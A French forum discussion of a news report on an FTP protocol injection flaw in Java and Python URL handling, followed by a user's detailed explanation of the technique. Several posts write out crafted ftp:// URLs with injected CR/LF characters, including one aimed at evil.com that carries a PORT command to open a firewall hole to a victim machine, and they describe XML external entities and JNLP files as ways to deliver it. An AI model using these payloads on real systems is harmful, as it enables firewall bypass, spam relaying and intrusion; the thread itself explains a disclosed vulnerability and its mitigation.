Discussion :

[Stéphane le calme]

Un bogue dans Java et Python permettrait à des attaquants de contourner les défenses des pare-feu,
selon des chercheurs en sécurité

Des chercheurs ont rapporté l’existence d’une faille dans Java et Python qui permettrait à des attaquants de contourner les défenses fournies par les pare-feu. Alexander Klink et Timothy Morgan ont assuré que la principale vulnérabilité s'est produite parce que Java ne vérifie pas la syntaxe des noms d'utilisateurs dans son protocole FTP.

« Le code (probablement ancien) a un bogue : il ne vérifie pas la syntaxe du nom d'utilisateur. RFC 959 spécifie qu'un nom d'utilisateur peut se composer d'une séquence de n’importe lequel des 128 caractères ASCII sauf <CR> et <LF>. Devinez ce que les exécutants de JRE ont oublié ? Précisément de vérifier la présence de <CR> ou <LF>. Cela signifie que si nous mettons %0D%0A n'importe où dans la partie nom d’utilisateur de l'URL (ou dans la partie mot de passe), nous pouvons terminer la commande USER (ou PASS) et injecter une nouvelle commande dans la session FTP », a expliqué Klink.

Pour rappel, CR et LF désigne respectivement le retour chariot (Carriage Returns - caractère 13 (0x0D)) et le saut de ligne (Line Feeds caractère 10 (0x0A)).

Aussi, si nous avons par exemple l’intention de nous servir de la commande USER sur un serveur mail au lieu d’un serveur FTP, nous obtiendrons une génération d’erreur (étant donné que USER n’est pas une commande SMTP valide), mais notre session va continuer. Combiné avec le bogue mentionné, un attaquant sera alors en mesure de lancer des commandes SMTP arbitraires qui vont forcer l’envoi de courriels.

« Cette attaque est particulièrement intéressante dans un scénario où vous pouvez accéder à un serveur de messagerie interne sans restriction sur une machine faisant du parsing XML. De plus, cette attaque va vous permettre d’envoyer des pièces jointes étant donné que la taille de l’URL semble ne pas être limitée en dehors de la limite imposée par la quantité de RAM disponible », a estimé Klink.

La vulnérabilité peut également être exploitée pour faire du parsing de fichiers JNLP malveillants, conduire des attaques man-in-the-middle (MiTM) ou des campagnes SSRF (Server-Side Request Forgery).

Selon Morgan, « cette injection de protocole FTP permet de tromper le pare-feu d'une victime en autorisant des connexions TCP d'Internet vers le système de l'hôte vulnérable ».

Dans le cas de Java, l'attaque peut être effectuée contre des utilisateurs de desktop même s'ils n'ont pas le plugin de navigateur Java activé.

Le chercheur dit également qu'un bogue « presque identique » existe aussi dans les bibliothèques urllib2 et urllib de Python. Cependant, bien que la faille de sécurité Java ne soit pas limitée aux attaques basées sur des noms de répertoires répertoriés dans des URL malveillantes, le bogue Python semble être limité de cette manière.

Morgan affirme que les fournisseurs ont jusqu'à présent échoué à réparer le bogue, bien que l'équipe de sécurité de Python ait été informée en janvier 2016 et que l'équipe d'Oracle ait été informée en novembre 2016.

Le chercheur recommande la désactivation du mode classique FTP par défaut et propose que les applications en entreprise soient auditées pour vérifier si elles sont vulnérables à ces attaques.

Source : billet Alexander Klink, billet Timothy Morgan

[CaptainDangeax]

En fait ce bug n'en est pas vraiment un. Celui qui code en Java ou en Python pour aller faire de l'injection FTP sait très bien ce qu'il fait et n'a pas besoin de ce bug pour envoyer les commandes qu'il a envie. Et de toute façon, FTP n'a pas été conçu à une époque où l'on s'occupait de sécurité. L'utiliser aujourd'hui c'est s'exposer à bien des problèmes.

[Uther]

C'est un peu plus compliqué que ça. Il n'y a pas d'objet officiel pour se connecter directement en FTP dans la bibliothèque standard Java. Mais on peut bien en faire de manière indirecte via l'objet URLConnection. Si on ne fait pas les contrôles adéquats, il y a donc moyen de faire une injection en utilisant une URL de type FTP en remplacement de http par exemple.

[rt15]

J'ai rien compris en lisant l'article en Français, donc si quelqu'un qui a le même cerveau que moi passe par ici, voilà plus de détails à partir du billet de Klink.

Où est le bug ?

Le bug est que java ne s'occupe pas des cr/lf lorsqu'il parse les urls de type:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

ftp://foo:bar%0d%0aINJECTED%0d%0a@example.net/dir/file.png

Donc si on demande à java de se connecter à un serveur FTP en utilisant cette url, il va se connecter normalement sur le serveur FTP de example.net, utiliser 'foo' comme nom d'utilisateur, 'bar' comme mot de passe, mais en plus il va exécuter la commande 'INJECTED'.

Java gère mal les cr/lf à la fois dans le use/mdp mais aussi dans les noms de répertoires :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

ftp://foo:bar@example.net/dir%0d%0aINJECTED%0d%0a

Python se contente de mal gérer les cr/lf uniquement au niveau des noms de répertoires.

Après, il se trouve que comme SMTP est proche de FTP, on peut utiliser la même url en ftp: pour faire exécuter des commandes sur un serveur SMTP.

Que vient faire le contournement de firewall dans l'histoire ?

Alors là c'est bien tordu...
En gros en FTP, deux connections sont utilisées, une de contrôle avec le port 21 côté serveur, et une autre pour les données, donc avec des ports différents.

Et "bien sûr" les pare-feu sont fait pour supporter ça ! En gros ils lisent les commandes de la connexion de contrôle FTP pour savoir quelle port est choisi et autorisent le trafic sur ce port. Donc sous prétexte de nous simplifier le boulot (D'avoir à autoriser le port pour les données à la main), le pare-feu fait sauter automatiquement une restriction sur un port donné.

Pour exploiter les requêtes FTP vont ressembler à ça :

ftp://u:p@evil.com/foodir%0APORT%2010,1,1,1,5,57/z.txt

On ne demande plus de se connecter à un serveur FTP chez la victime.
evil.com est au contraire un serveur géré par l'attaquant.
La commande PORT demande normalement au serveur de se connecter (Pour la connection de données) à la machine client sur un port donné.
Le pirate doit y mettre l'IP (Interne, gare au NAT) de la victime et un numéro de port au choix (Mais supérieur à 1024).
C'est cette commande que le pare feu va voir et il va donc autoriser les connections sur le port décrit (Par exemple 8080).
Le pirate peut alors se connecter au port 8080 de la machine victime (Qui peut par exemple être ouvert par une appli Java) depuis l'extérieur, magique.

La vulnérabilité peut également être exploitée pour faire du parsing de fichiers JNLP malveillants

Non en fait le JNLP est simplement un vecteur d'attaque proposé en alternative aux applets qui ne sont pas utilisables si les victimes "n'ont pas le plugin de navigateur Java activé". A priori il y aurait moyen de mettre les urls directement dans le fichier JNLP donc la victime n'a même pas besoin d'utiliser l'application Java correspondant au JNLP.

Un autre vecteur intéressant est les "XML eXternal Entities". Si on met correctement les urls ftp dans des fichiers xml et que le parseur xml en java est "mal" configuré (Ce qui est bien souvent le cas par défaut), le parseur va se connecter automatiquement en utilisant les requêtes FTP pour "résoudre les entitées externes".
Donc en gros une appli java dans un serveur web parsant des fichiers xml venant de l'extérieur est vulnérable (Dans le sens ou on peut lui faire faire des requêtes FTP, qui plus est avec des commandes additionnelles).